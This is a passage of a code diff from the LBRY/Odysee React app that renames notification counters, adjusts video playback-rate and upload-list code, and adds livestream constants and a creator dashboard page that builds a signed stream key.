<PrivateRoute {...props} path={`/$/${PAGES.CREATOR_DASHBOARD}`} component={CreatorDashboard} />
|
||||
<PrivateRoute {...props} path={`/$/${PAGES.UPLOAD}`} component={PublishPage} />
|
||||
<PrivateRoute {...props} path={`/$/${PAGES.REPORT}`} component={ReportPage} />
|
||||
<PrivateRoute {...props} path={`/$/${PAGES.REWARDS}`} exact component={RewardsPage} />
|
||||
<PrivateRoute {...props} path={`/$/${PAGES.REWARDS_VERIFY}`} component={RewardsVerifyPage} />
|
||||
<PrivateRoute {...props} path={`/$/${PAGES.LIBRARY}`} component={LibraryPage} />
|
||||
<PrivateRoute {...props} path={`/$/${PAGES.TAGS_FOLLOWING_MANAGE}`} component={TagsFollowingManagePage} />
|
||||
<PrivateRoute {...props} path={`/$/${PAGES.SETTINGS_BLOCKED_MUTED}`} component={ListBlockedPage} />
|
||||
<PrivateRoute {...props} path={`/$/${PAGES.WALLET}`} exact component={WalletPage} />
|
||||
<PrivateRoute {...props} path={`/$/${PAGES.CHANNELS}`} component={ChannelsPage} />
|
||||
<PrivateRoute {...props} path={`/$/${PAGES.BUY}`} component={BuyPage} />
|
||||
<PrivateRoute {...props} path={`/$/${PAGES.NOTIFICATIONS}`} component={NotificationsPage} />
|
||||
<PrivateRoute {...props} path={`/$/${PAGES.AUTH_WALLET_PASSWORD}`} component={SignInWalletPasswordPage} />
|
||||
<Route path={`/$/${PAGES.HELP}`} exact component={HelpPage} />
|
||||
{/* @if TARGET='app' */}
|
||||
<Route path={`/$/${PAGES.BACKUP}`} exact component={BackupPage} />
|
||||
{/* @endif */}
|
||||
{/* @if TARGET='web' */}
|
||||
<Route path={`/$/${PAGES.CODE_2257}`} exact component={Code2257Page} />
|
||||
{/* @endif */}
|
||||
<Route path={`/$/${PAGES.AUTH_VERIFY}`} exact component={SignInVerifyPage} />
|
||||
<Route path={`/$/${PAGES.SEARCH}`} exact component={SearchPage} />
|
||||
<Route path={`/$/${PAGES.TOP}`} exact component={TopPage} />
|
||||
<Route path={`/$/${PAGES.SETTINGS}`} exact component={SettingsPage} />
|
||||
<Route path={`/$/${PAGES.SETTINGS_ADVANCED}`} exact component={SettingsAdvancedPage} />
|
||||
<Route path={`/$/${PAGES.INVITE}/:referrer`} exact component={InvitedPage} />
|
||||
<Route path={`/$/${PAGES.CHECKOUT}`} exact component={CheckoutPage} />
|
||||
|
||||
<Route path={`/$/${PAGES.EMBED}/:claimName`} exact component={EmbedWrapperPage} />
|
||||
<Route path={`/$/${PAGES.EMBED}/:claimName/:claimId`} exact component={EmbedWrapperPage} />
|
||||
{/* Below need to go at the end to make sure we don't match any of our pages first */}
|
||||
<Route path="/:claimName" exact component={ShowPage} />
|
||||
<Route path="/:claimName/:streamName" exact component={ShowPage} />
|
||||
<Route path="/*" component={FourOhFourPage} />
|
||||
</Switch>
|
||||
<PrivateRoute {...props} exact path={`/$/${PAGES.YOUTUBE_SYNC}`} component={YoutubeSyncPage} />
|
||||
<PrivateRoute {...props} exact path={`/$/${PAGES.TAGS_FOLLOWING}`} component={TagsFollowingPage} />
|
||||
<PrivateRoute
|
||||
{...props}
|
||||
exact
|
||||
path={`/$/${PAGES.CHANNELS_FOLLOWING}`}
|
||||
component={isAuthenticated || !IS_WEB ? ChannelsFollowingPage : DiscoverPage}
|
||||
/>
|
||||
<PrivateRoute {...props} path={`/$/${PAGES.SETTINGS_NOTIFICATIONS}`} component={SettingsNotificationsPage} />
|
||||
<PrivateRoute
|
||||
{...props}
|
||||
exact
|
||||
path={`/$/${PAGES.CHANNELS_FOLLOWING_DISCOVER}`}
|
||||
component={ChannelsFollowingDiscoverPage}
|
||||
/>
|
||||
<PrivateRoute {...props} path={`/$/${PAGES.INVITE}`} component={InvitePage} />
|
||||
<PrivateRoute {...props} path={`/$/${PAGES.CHANNEL_NEW}`} component={ChannelNew} />
|
||||
<PrivateRoute {...props} path={`/$/${PAGES.REPOST_NEW}`} component={RepostNew} />
|
||||
<PrivateRoute {...props} path={`/$/${PAGES.UPLOADS}`} component={FileListPublished} />
|
||||
<PrivateRoute {...props} path={`/$/${PAGES.CREATOR_DASHBOARD}`} component={CreatorDashboard} />
|
||||
<PrivateRoute {...props} path={`/$/${PAGES.UPLOAD}`} component={PublishPage} />
|
||||
<PrivateRoute {...props} path={`/$/${PAGES.REPORT}`} component={ReportPage} />
|
||||
<PrivateRoute {...props} path={`/$/${PAGES.REWARDS}`} exact component={RewardsPage} />
|
||||
<PrivateRoute {...props} path={`/$/${PAGES.REWARDS_VERIFY}`} component={RewardsVerifyPage} />
|
||||
<PrivateRoute {...props} path={`/$/${PAGES.LIBRARY}`} component={LibraryPage} />
|
||||
<PrivateRoute {...props} path={`/$/${PAGES.TAGS_FOLLOWING_MANAGE}`} component={TagsFollowingManagePage} />
|
||||
<PrivateRoute {...props} path={`/$/${PAGES.SETTINGS_BLOCKED_MUTED}`} component={ListBlockedPage} />
|
||||
<PrivateRoute {...props} path={`/$/${PAGES.WALLET}`} exact component={WalletPage} />
|
||||
<PrivateRoute {...props} path={`/$/${PAGES.CHANNELS}`} component={ChannelsPage} />
|
||||
<PrivateRoute {...props} path={`/$/${PAGES.LIVESTREAM}`} component={LiveStreamPage} />
|
||||
<PrivateRoute {...props} path={`/$/${PAGES.BUY}`} component={BuyPage} />
|
||||
<PrivateRoute {...props} path={`/$/${PAGES.NOTIFICATIONS}`} component={NotificationsPage} />
|
||||
<PrivateRoute {...props} path={`/$/${PAGES.AUTH_WALLET_PASSWORD}`} component={SignInWalletPasswordPage} />
|
||||
|
||||
<Route path={`/$/${PAGES.EMBED}/:claimName`} exact component={EmbedWrapperPage} />
|
||||
<Route path={`/$/${PAGES.EMBED}/:claimName/:claimId`} exact component={EmbedWrapperPage} />
|
||||
{/* Below need to go at the end to make sure we don't match any of our pages first */}
|
||||
<Route path="/:claimName" exact component={ShowPage} />
|
||||
<Route path="/:claimName/:streamName" exact component={ShowPage} />
|
||||
<Route path="/*" component={FourOhFourPage} />
|
||||
</Switch>
|
||||
</Suspense>
|
||||
);
|
||||
}
|
||||
|
||||
|
||||
@@ -5,17 +5,17 @@ import { selectFollowedTags } from 'redux/selectors/tags';
|
||||
import { selectUserVerifiedEmail, selectUser } from 'redux/selectors/user';
|
||||
import { selectHomepageData, selectLanguage } from 'redux/selectors/settings';
|
||||
import { doSignOut } from 'redux/actions/app';
|
||||
import { selectUnseenNotificationCount } from 'redux/selectors/notifications';
|
||||
import { selectUnreadNotificationCount } from 'redux/selectors/notifications';
|
||||
|
||||
import SideNavigation from './view';
|
||||
|
||||
const select = (state) => ({
|
||||
const select = state => ({
|
||||
subscriptions: selectSubscriptions(state),
|
||||
followedTags: selectFollowedTags(state),
|
||||
language: selectLanguage(state), // trigger redraw on language change
|
||||
email: selectUserVerifiedEmail(state),
|
||||
purchaseSuccess: selectPurchaseUriSuccess(state),
|
||||
unseenCount: selectUnseenNotificationCount(state),
|
||||
unreadCount: selectUnreadNotificationCount(state),
|
||||
user: selectUser(state),
|
||||
homepageData: selectHomepageData(state),
|
||||
});
|
||||
|
||||
@@ -38,10 +38,10 @@ type Props = {
|
||||
uploadCount: number,
|
||||
doSignOut: () => void,
|
||||
sidebarOpen: boolean,
|
||||
setSidebarOpen: (boolean) => void,
|
||||
setSidebarOpen: boolean => void,
|
||||
isMediumScreen: boolean,
|
||||
isOnFilePage: boolean,
|
||||
unseenCount: number,
|
||||
unreadCount: number,
|
||||
purchaseSuccess: boolean,
|
||||
doClearPurchasedUriSuccess: () => void,
|
||||
user: ?User,
|
||||
@@ -69,7 +69,7 @@ function SideNavigation(props: Props) {
|
||||
setSidebarOpen,
|
||||
isMediumScreen,
|
||||
isOnFilePage,
|
||||
unseenCount,
|
||||
unreadCount,
|
||||
homepageData,
|
||||
user,
|
||||
} = props;
|
||||
@@ -232,7 +232,7 @@ function SideNavigation(props: Props) {
|
||||
const isAbsolute = isOnFilePage || isMediumScreen;
|
||||
const microNavigation = !sidebarOpen || isMediumScreen;
|
||||
const subLinks = email
|
||||
? MOBILE_LINKS.filter((link) => {
|
||||
? MOBILE_LINKS.filter(link => {
|
||||
if (!notificationsEnabled && link.icon === ICONS.NOTIFICATION) {
|
||||
return false;
|
||||
}
|
||||
@@ -320,7 +320,7 @@ function SideNavigation(props: Props) {
|
||||
>
|
||||
<div>
|
||||
<ul className={classnames('navigation-links', { 'navigation-links--micro': !sidebarOpen })}>
|
||||
{SIDE_LINKS.map((linkProps) => {
|
||||
{SIDE_LINKS.map(linkProps => {
|
||||
// $FlowFixMe
|
||||
const { hideForUnauth, ...passedProps } = linkProps;
|
||||
return !email && linkProps.hideForUnauth && IS_WEB ? null : (
|
||||
@@ -334,7 +334,7 @@ function SideNavigation(props: Props) {
|
||||
icon={pulseLibrary && linkProps.icon === ICONS.LIBRARY ? ICONS.PURCHASED : linkProps.icon}
|
||||
className={classnames('navigation-link', {
|
||||
'navigation-link--pulse': linkProps.icon === ICONS.LIBRARY && pulseLibrary,
|
||||
'navigation-link--highlighted': linkProps.icon === ICONS.NOTIFICATION && unseenCount > 0,
|
||||
'navigation-link--highlighted': linkProps.icon === ICONS.NOTIFICATION && unreadCount > 0,
|
||||
})}
|
||||
activeClass="navigation-link--active"
|
||||
/>
|
||||
@@ -386,7 +386,7 @@ function SideNavigation(props: Props) {
|
||||
>
|
||||
<div>
|
||||
<ul className="navigation-links--absolute">
|
||||
{SIDE_LINKS.map((linkProps) => {
|
||||
{SIDE_LINKS.map(linkProps => {
|
||||
// $FlowFixMe
|
||||
const { hideForUnauth, link, route, ...passedProps } = linkProps;
|
||||
return !email && linkProps.hideForUnauth && IS_WEB ? null : (
|
||||
@@ -399,7 +399,7 @@ function SideNavigation(props: Props) {
|
||||
icon={pulseLibrary && linkProps.icon === ICONS.LIBRARY ? ICONS.PURCHASED : linkProps.icon}
|
||||
className={classnames('navigation-link', {
|
||||
'navigation-link--pulse': linkProps.icon === ICONS.LIBRARY && pulseLibrary,
|
||||
'navigation-link--highlighted': linkProps.icon === ICONS.NOTIFICATION && unseenCount > 0,
|
||||
'navigation-link--highlighted': linkProps.icon === ICONS.NOTIFICATION && unreadCount > 0,
|
||||
})}
|
||||
activeClass="navigation-link--active"
|
||||
/>
|
||||
@@ -409,7 +409,7 @@ function SideNavigation(props: Props) {
|
||||
})}
|
||||
</ul>
|
||||
<ul className="navigation-links--absolute mobile-only">
|
||||
{subLinks.map((linkProps) => {
|
||||
{subLinks.map(linkProps => {
|
||||
const { hideForUnauth, ...passedProps } = linkProps;
|
||||
|
||||
return !email && hideForUnauth && IS_WEB ? null : (
|
||||
|
||||
@@ -30,7 +30,7 @@ type Props = {
|
||||
animationHidden: boolean,
|
||||
toggleSplashAnimation: () => void,
|
||||
clearWalletServers: () => void,
|
||||
doShowSnackBar: (string) => void,
|
||||
doShowSnackBar: string => void,
|
||||
};
|
||||
|
||||
type State = {
|
||||
@@ -109,30 +109,30 @@ export default class SplashScreen extends React.PureComponent<Props, State> {
|
||||
const { modal, notifyUnlockWallet, clearWalletServers, doShowSnackBar } = this.props;
|
||||
const { launchedModal } = this.state;
|
||||
|
||||
Lbry.status().then((status) => {
|
||||
Lbry.status().then(status => {
|
||||
const sdkStatus = status;
|
||||
const { wallet } = status;
|
||||
Lbry.wallet_status().then((walletStatus) => {
|
||||
Lbry.wallet_status().then(status => {
|
||||
if (sdkStatus.is_running && wallet && wallet.available_servers) {
|
||||
if (walletStatus.is_locked) {
|
||||
if (status.is_locked) {
|
||||
// Clear the error timeout, it might sit on this step for a while until someone enters their password
|
||||
if (this.timeout) {
|
||||
clearTimeout(this.timeout);
|
||||
}
|
||||
// Make sure there isn't another active modal (like INCOMPATIBLE_DAEMON)
|
||||
this.updateStatusCallback(sdkStatus, walletStatus, true);
|
||||
this.updateStatusCallback(sdkStatus, status, true);
|
||||
if (launchedModal === false && !modal) {
|
||||
this.setState({ launchedModal: true }, () => notifyUnlockWallet());
|
||||
}
|
||||
} else {
|
||||
this.updateStatusCallback(sdkStatus, walletStatus);
|
||||
this.updateStatusCallback(sdkStatus, status);
|
||||
}
|
||||
} else if (!sdkStatus.is_running && walletStatus.is_syncing) {
|
||||
} else if (!sdkStatus.is_running && status.is_syncing) {
|
||||
// Clear the timeout if wallet is still syncing
|
||||
if (this.timeout) {
|
||||
clearTimeout(this.timeout);
|
||||
}
|
||||
this.updateStatusCallback(sdkStatus, walletStatus);
|
||||
this.updateStatusCallback(sdkStatus, status);
|
||||
} else if (this.state.waitingForWallet > MAX_WALLET_WAIT && launchedModal === false && !modal) {
|
||||
clearWalletServers();
|
||||
doShowSnackBar(
|
||||
@@ -141,15 +141,20 @@ export default class SplashScreen extends React.PureComponent<Props, State> {
|
||||
)
|
||||
);
|
||||
this.setState({ waitingForWallet: 0 });
|
||||
this.updateStatusCallback(sdkStatus, walletStatus);
|
||||
this.updateStatusCallback(sdkStatus, status);
|
||||
} else {
|
||||
this.updateStatusCallback(sdkStatus, walletStatus);
|
||||
this.updateStatusCallback(sdkStatus, status);
|
||||
}
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
updateStatusCallback(status: StatusResponse, walletStatus: WalletStatusResponse, waitingForUnlock: boolean = false) {
|
||||
if (status.connection_status.code !== 'connected') {
|
||||
this.setState({ error: true });
|
||||
return;
|
||||
}
|
||||
|
||||
const { wallet, startup_status: startupStatus } = status;
|
||||
|
||||
// If the wallet is locked, stop doing anything and make the user input their password
|
||||
|
||||
@@ -3,10 +3,8 @@ import * as ICONS from 'constants/icons';
|
||||
import React from 'react';
|
||||
import Button from 'component/button';
|
||||
import Yrbl from 'component/yrbl';
|
||||
import { SITE_HELP_EMAIL } from 'config';
|
||||
// @if TARGET='web'
|
||||
import { STATUS_DEGRADED, STATUS_FAILING, STATUS_DOWN } from 'web/effects/use-degraded-performance';
|
||||
// @endif
|
||||
import { SITE_HELP_EMAIL } from 'config';
|
||||
|
||||
type Props = {
|
||||
lbryTvApiStatus: string,
|
||||
@@ -15,13 +13,9 @@ type Props = {
|
||||
export default function SyncFatalError(props: Props) {
|
||||
const { lbryTvApiStatus } = props;
|
||||
|
||||
let downTime = false;
|
||||
|
||||
// @if TARGET='web'
|
||||
downTime =
|
||||
const downTime =
|
||||
IS_WEB &&
|
||||
(lbryTvApiStatus === STATUS_DEGRADED || lbryTvApiStatus === STATUS_FAILING || lbryTvApiStatus === STATUS_DOWN);
|
||||
// @endif
|
||||
|
||||
return (
|
||||
<div className="main--empty">
|
||||
|
||||
@@ -31,7 +31,6 @@ export type Player = {
|
||||
loadingSpinner: any,
|
||||
getChild: (string) => any,
|
||||
playbackRate: (?number) => number,
|
||||
readyState: () => number,
|
||||
userActive: (?boolean) => boolean,
|
||||
overlay: (any) => void,
|
||||
mobileUi: (any) => void,
|
||||
@@ -453,7 +452,7 @@ export default React.memo<Props>(function VideoJs(props: Props) {
|
||||
return vjs;
|
||||
}
|
||||
|
||||
// This lifecycle hook is only called once (on mount), or when `isAudio` changes.
|
||||
// This lifecycle hook is only called once (on mount)
|
||||
useEffect(() => {
|
||||
const vjsElement = createVideoPlayerDOM(containerRef.current);
|
||||
const vjsPlayer = initializeVideoPlayer(vjsElement);
|
||||
@@ -477,7 +476,7 @@ export default React.memo<Props>(function VideoJs(props: Props) {
|
||||
player.dispose();
|
||||
}
|
||||
};
|
||||
}, [isAudio]);
|
||||
}, []);
|
||||
|
||||
// Update video player and reload when source URL changes
|
||||
useEffect(() => {
|
||||
|
||||
@@ -19,8 +19,8 @@ const PLAY_TIMEOUT_LIMIT = 2000;
|
||||
|
||||
type Props = {
|
||||
position: number,
|
||||
changeVolume: (number) => void,
|
||||
changeMute: (boolean) => void,
|
||||
changeVolume: number => void,
|
||||
changeMute: boolean => void,
|
||||
source: string,
|
||||
contentType: string,
|
||||
thumbnail: string,
|
||||
@@ -36,9 +36,9 @@ type Props = {
|
||||
doAnalyticsBuffer: (string, any) => void,
|
||||
claimRewards: () => void,
|
||||
savePosition: (string, number) => void,
|
||||
clearPosition: (string) => void,
|
||||
clearPosition: string => void,
|
||||
toggleVideoTheaterMode: () => void,
|
||||
setVideoPlaybackRate: (number) => void,
|
||||
setVideoPlaybackRate: number => void,
|
||||
};
|
||||
|
||||
/*
|
||||
@@ -76,7 +76,6 @@ function VideoViewer(props: Props) {
|
||||
const [isPlaying, setIsPlaying] = useState(false);
|
||||
const [showAutoplayCountdown, setShowAutoplayCountdown] = useState(false);
|
||||
const [isEndededEmbed, setIsEndededEmbed] = useState(false);
|
||||
const vjsCallbackDataRef: any = React.useRef();
|
||||
|
||||
/* isLoading was designed to show loading screen on first play press, rather than completely black screen, but
|
||||
breaks because some browsers (e.g. Firefox) block autoplay but leave the player.play Promise pending */
|
||||
@@ -94,16 +93,8 @@ function VideoViewer(props: Props) {
|
||||
}
|
||||
}, [uri, previousUri]);
|
||||
|
||||
// Update vjsCallbackDataRef (ensures videojs callbacks are not using stale values):
|
||||
useEffect(() => {
|
||||
vjsCallbackDataRef.current = {
|
||||
embedded: embedded,
|
||||
videoPlaybackRate: videoPlaybackRate,
|
||||
};
|
||||
}, [embedded, videoPlaybackRate]);
|
||||
|
||||
function doTrackingBuffered(e: Event, data: any) {
|
||||
fetch(source, { method: 'HEAD' }).then((response) => {
|
||||
fetch(source, { method: 'HEAD' }).then(response => {
|
||||
data.playerPoweredBy = response.headers.get('x-powered-by');
|
||||
doAnalyticsBuffer(uri, data);
|
||||
});
|
||||
@@ -146,12 +137,6 @@ function VideoViewer(props: Props) {
|
||||
}
|
||||
}
|
||||
|
||||
function restorePlaybackRate(player) {
|
||||
if (!vjsCallbackDataRef.current.embedded) {
|
||||
player.playbackRate(vjsCallbackDataRef.current.videoPlaybackRate);
|
||||
}
|
||||
}
|
||||
|
||||
const onPlayerReady = useCallback(
|
||||
(player: Player) => {
|
||||
if (!embedded) {
|
||||
@@ -165,14 +150,12 @@ function VideoViewer(props: Props) {
|
||||
// https://blog.videojs.com/autoplay-best-practices-with-video-js/#Programmatic-Autoplay-and-Success-Failure-Detection
|
||||
if (shouldPlay) {
|
||||
const playPromise = player.play();
|
||||
const timeoutPromise = new Promise((resolve, reject) =>
|
||||
setTimeout(() => reject(PLAY_TIMEOUT_ERROR), PLAY_TIMEOUT_LIMIT)
|
||||
);
|
||||
const timeoutPromise = new Promise((resolve, reject) => setTimeout(() => reject(PLAY_TIMEOUT_ERROR), PLAY_TIMEOUT_LIMIT));
|
||||
|
||||
Promise.race([playPromise, timeoutPromise]).catch((error) => {
|
||||
Promise.race([playPromise, timeoutPromise]).catch(error => {
|
||||
if (PLAY_TIMEOUT_ERROR) {
|
||||
const retryPlayPromise = player.play();
|
||||
Promise.race([retryPlayPromise, timeoutPromise]).catch((error) => {
|
||||
Promise.race([retryPlayPromise, timeoutPromise]).catch(error => {
|
||||
setIsLoading(false);
|
||||
setIsPlaying(false);
|
||||
});
|
||||
@@ -184,13 +167,6 @@ function VideoViewer(props: Props) {
|
||||
}
|
||||
|
||||
setIsLoading(shouldPlay); // if we are here outside of an embed, we're playing
|
||||
|
||||
// PR: #5535
|
||||
// Move the restoration to a later `loadedmetadata` phase to counter the
|
||||
// delay from the header-fetch. This is a temp change until the next
|
||||
// re-factoring.
|
||||
player.on('loadedmetadata', () => restorePlaybackRate(player));
|
||||
|
||||
player.on('tracking:buffered', doTrackingBuffered);
|
||||
player.on('tracking:firstplay', doTrackingFirstPlay);
|
||||
player.on('ended', onEnded);
|
||||
@@ -199,8 +175,9 @@ function VideoViewer(props: Props) {
|
||||
setIsPlaying(false);
|
||||
handlePosition(player);
|
||||
});
|
||||
player.on('error', () => {
|
||||
player.on('error', function() {
|
||||
const error = player.error();
|
||||
|
||||
if (error) {
|
||||
analytics.sentryError('Video.js error', error);
|
||||
}
|
||||
@@ -212,12 +189,7 @@ function VideoViewer(props: Props) {
|
||||
}
|
||||
});
|
||||
player.on('ratechange', () => {
|
||||
const HAVE_NOTHING = 0; // https://docs.videojs.com/player#readyState
|
||||
if (player && player.readyState() !== HAVE_NOTHING) {
|
||||
// The playbackRate occasionally resets to 1, typically when loading a fresh video or when 'src' changes.
|
||||
// Videojs says it's a browser quirk (https://github.com/videojs/video.js/issues/2516).
|
||||
// [x] Don't update 'videoPlaybackRate' in this scenario.
|
||||
// [ ] Ideally, the controlBar should be hidden to prevent users from changing the rate while loading.
|
||||
if (player) {
|
||||
setVideoPlaybackRate(player.playbackRate());
|
||||
}
|
||||
});
|
||||
|
||||
@@ -277,6 +277,7 @@ export const COMMENT_MODERATION_BLOCK_FAILED = 'COMMENT_MODERATION_BLOCK_FAILED'
|
||||
export const COMMENT_MODERATION_UN_BLOCK_STARTED = 'COMMENT_MODERATION_UN_BLOCK_STARTED';
|
||||
export const COMMENT_MODERATION_UN_BLOCK_COMPLETE = 'COMMENT_MODERATION_UN_BLOCK_COMPLETE';
|
||||
export const COMMENT_MODERATION_UN_BLOCK_FAILED = 'COMMENT_MODERATION_UN_BLOCK_FAILED';
|
||||
export const COMMENT_RECEIVED = 'COMMENT_RECEIVED';
|
||||
|
||||
// Blocked channels
|
||||
export const TOGGLE_BLOCK_CHANNEL = 'TOGGLE_BLOCK_CHANNEL';
|
||||
|
||||
@@ -97,6 +97,7 @@ export const MORE_VERTICAL = 'MoreVertical';
|
||||
export const IMAGE = 'Image';
|
||||
export const AUDIO = 'HeadPhones';
|
||||
export const VIDEO = 'Video';
|
||||
export const LIVESTREAM = 'Livestream';
|
||||
export const VOLUME_MUTED = 'VolumeX';
|
||||
export const TEXT = 'FileText';
|
||||
export const DOWNLOADABLE = 'Downloadable';
|
||||
|
||||
@@ -0,0 +1,4 @@
|
||||
export const LIVE_STREAM_TAG = 'odysee-livestream';
|
||||
|
||||
export const BITWAVE_EMBED_URL = 'https://bitwave.tv/embed';
|
||||
export const BITWAVE_API = 'https://api.bitwave.tv/v1/channels';
|
||||
@@ -48,3 +48,4 @@ exports.BUY = 'buy';
|
||||
exports.CHANNEL_NEW = 'channel/new';
|
||||
exports.NOTIFICATIONS = 'notifications';
|
||||
exports.YOUTUBE_SYNC = 'youtube';
|
||||
exports.LIVESTREAM = 'livestream';
|
||||
@@ -1,2 +1,3 @@
|
||||
export const FILE = 'File';
|
||||
export const POST = 'Post';
|
||||
export const LIVESTREAM = 'Livestream';
|
||||
@@ -53,6 +53,8 @@ function ModalRouter(props: Props) {
|
||||
const { modal, error, location, hideModal } = props;
|
||||
const { pathname } = location;
|
||||
|
||||
// return <ModalMobileSearch />;
|
||||
|
||||
React.useEffect(() => {
|
||||
hideModal();
|
||||
}, [pathname, hideModal]);
|
||||
|
||||
@@ -30,10 +30,9 @@ const select = (state, props) => {
|
||||
};
|
||||
};
|
||||
|
||||
const perform = (dispatch) => ({
|
||||
const perform = dispatch => ({
|
||||
checkPendingPublishes: () => dispatch(doCheckPendingClaims()),
|
||||
fetchClaimListMine: (page, pageSize, resolve, filterBy) =>
|
||||
dispatch(doFetchClaimListMine(page, pageSize, resolve, filterBy)),
|
||||
fetchClaimListMine: (page, pageSize) => dispatch(doFetchClaimListMine(page, pageSize)),
|
||||
clearPublish: () => dispatch(doClearPublish()),
|
||||
});
|
||||
|
||||
|
||||
@@ -10,21 +10,16 @@ import { PAGE_PARAM, PAGE_SIZE_PARAM } from 'constants/claim';
|
||||
import WebUploadList from 'component/webUploadList';
|
||||
import Spinner from 'component/spinner';
|
||||
import Yrbl from 'component/yrbl';
|
||||
import classnames from 'classnames';
|
||||
|
||||
const FILTER_ALL = 'stream,repost';
|
||||
const FILTER_UPLOADS = 'stream';
|
||||
const FILTER_REPOSTS = 'repost';
|
||||
|
||||
type Props = {
|
||||
uploadCount: number,
|
||||
checkPendingPublishes: () => void,
|
||||
clearPublish: () => void,
|
||||
fetchClaimListMine: (number, number, boolean, Array<string>) => void,
|
||||
fetchClaimListMine: (number, number) => void,
|
||||
fetching: boolean,
|
||||
urls: Array<string>,
|
||||
urlTotal: number,
|
||||
history: { replace: (string) => void, push: (string) => void },
|
||||
history: { replace: string => void, push: string => void },
|
||||
page: number,
|
||||
pageSize: number,
|
||||
};
|
||||
@@ -42,7 +37,6 @@ function FileListPublished(props: Props) {
|
||||
pageSize,
|
||||
} = props;
|
||||
|
||||
const [filterBy, setFilterBy] = React.useState(FILTER_ALL);
|
||||
const params = {};
|
||||
|
||||
params[PAGE_PARAM] = Number(page);
|
||||
@@ -57,9 +51,9 @@ function FileListPublished(props: Props) {
|
||||
useEffect(() => {
|
||||
if (paramsString && fetchClaimListMine) {
|
||||
const params = JSON.parse(paramsString);
|
||||
fetchClaimListMine(params.page, params.page_size, true, filterBy.split(','));
|
||||
fetchClaimListMine(params.page, params.page_size);
|
||||
}
|
||||
}, [uploadCount, paramsString, filterBy, fetchClaimListMine]);
|
||||
}, [uploadCount, paramsString, fetchClaimListMine]);
|
||||
|
||||
return (
|
||||
<Page>
|
||||
@@ -68,35 +62,7 @@ function FileListPublished(props: Props) {
|
||||
{!!(urls && urls.length) && (
|
||||
<>
|
||||
<ClaimList
|
||||
header={
|
||||
<span>
|
||||
<Button
|
||||
button="alt"
|
||||
label={__('All')}
|
||||
aria-label={__('All uploads')}
|
||||
onClick={() => setFilterBy(FILTER_ALL)}
|
||||
className={classnames(`button-toggle`, {
|
||||
'button-toggle--active': filterBy === FILTER_ALL,
|
||||
})}
|
||||
/>
|
||||
<Button
|
||||
button="alt"
|
||||
label={__('Uploads')}
|
||||
onClick={() => setFilterBy(FILTER_UPLOADS)}
|
||||
className={classnames(`button-toggle`, {
|
||||
'button-toggle--active': filterBy === FILTER_UPLOADS,
|
||||
})}
|
||||
/>
|
||||
<Button
|
||||
button="alt"
|
||||
label={__('Reposts')}
|
||||
onClick={() => setFilterBy(FILTER_REPOSTS)}
|
||||
className={classnames(`button-toggle`, {
|
||||
'button-toggle--active': filterBy === FILTER_REPOSTS,
|
||||
})}
|
||||
/>
|
||||
</span>
|
||||
}
|
||||
header={<h1 className="section__title">{__('Uploads')}</h1>}
|
||||
headerAltControls={
|
||||
<div className="card__actions--inline">
|
||||
{fetching && <Spinner type="small" />}
|
||||
@@ -105,7 +71,7 @@ function FileListPublished(props: Props) {
|
||||
button="alt"
|
||||
label={__('Refresh')}
|
||||
icon={ICONS.REFRESH}
|
||||
onClick={() => fetchClaimListMine(params.page, params.page_size, true, filterBy.split(','))}
|
||||
onClick={() => fetchClaimListMine(params.page, params.page_size)}
|
||||
/>
|
||||
)}
|
||||
<Button
|
||||
@@ -117,6 +83,7 @@ function FileListPublished(props: Props) {
|
||||
/>
|
||||
</div>
|
||||
}
|
||||
loading={fetching}
|
||||
persistedStorageKey="claim-list-published"
|
||||
uris={urls}
|
||||
/>
|
||||
|
||||
@@ -0,0 +1,13 @@
|
||||
import { connect } from 'react-redux';
|
||||
import { selectMyChannelClaims, selectFetchingMyChannels } from 'lbry-redux';
|
||||
import { selectActiveChannelClaim } from 'redux/selectors/app';
|
||||
import { doSetActiveChannel } from 'redux/actions/app';
|
||||
import CreatorDashboardPage from './view';
|
||||
|
||||
const select = (state) => ({
|
||||
channels: selectMyChannelClaims(state),
|
||||
fetchingChannels: selectFetchingMyChannels(state),
|
||||
activeChannelClaim: selectActiveChannelClaim(state),
|
||||
});
|
||||
|
||||
export default connect(select, { doSetActiveChannel })(CreatorDashboardPage);
|
||||
@@ -0,0 +1,240 @@
|
||||
// @flow
|
||||
import * as PAGES from 'constants/pages';
|
||||
import React from 'react';
|
||||
import Page from 'component/page';
|
||||
import Spinner from 'component/spinner';
|
||||
import Button from 'component/button';
|
||||
import ChannelSelector from 'component/channelSelector';
|
||||
import Yrbl from 'component/yrbl';
|
||||
import { Lbry } from 'lbry-redux';
|
||||
import { toHex } from '../../util/hex';
|
||||
import ClaimPreview from '../../component/claimPreview';
|
||||
import { FormField } from '../../component/common/form';
|
||||
import * as PUBLISH_MODES from '../../constants/publish_types';
|
||||
|
||||
type Props = {
|
||||
channels: Array<ChannelClaim>,
|
||||
fetchingChannels: boolean,
|
||||
activeChannelClaim: ?ChannelClaim,
|
||||
};
|
||||
|
||||
export default function CreatorDashboardPage(props: Props) {
|
||||
const { channels, fetchingChannels, activeChannelClaim } = props;
|
||||
|
||||
const [sigData, setSigData] = React.useState({ signature: undefined, signing_ts: undefined });
|
||||
|
||||
const hasChannels = channels && channels.length > 0;
|
||||
const activeChannelClaimStr = JSON.stringify(activeChannelClaim);
|
||||
const streamKey = createStreamKey();
|
||||
|
||||
React.useEffect(() => {
|
||||
if (activeChannelClaimStr) {
|
||||
const channelClaim = JSON.parse(activeChannelClaimStr);
|
||||
|
||||
// ensure we have a channel
|
||||
if (channelClaim.claim_id) {
|
||||
Lbry.channel_sign({
|
||||
channel_id: channelClaim.claim_id,
|
||||
hexdata: toHex(channelClaim.name),
|
||||
})
|
||||
.then((data) => {
|
||||
console.log(data);
|
||||
setSigData(data);
|
||||
})
|
||||
.catch((error) => {
|
||||
setSigData({ signature: null, signing_ts: null });
|
||||
console.error(error);
|
||||
});
|
||||
}
|
||||
}
|
||||
}, [ activeChannelClaimStr, setSigData ]);
|
||||
|
||||
function createStreamKey() {
|
||||
if (!activeChannelClaim || !sigData.signature || !sigData.signing_ts) return null;
|
||||
return `${activeChannelClaim.claim_id}?d=${toHex(activeChannelClaim.name)}&s=${sigData.signature}&t=${sigData.signing_ts}`;
|
||||
}
|
||||
|
||||
/******/
|
||||
|
||||
const LIVE_STREAM_TAG = 'odysee-livestream';
|
||||
|
||||
const [isFetching, setIsFetching] = React.useState(true);
|
||||
const [isLive, setIsLive] = React.useState(false);
|
||||
const [livestreamClaim, setLivestreamClaim] = React.useState(false);
|
||||
const [livestreamClaims, setLivestreamClaims] = React.useState([]);
|
||||
|
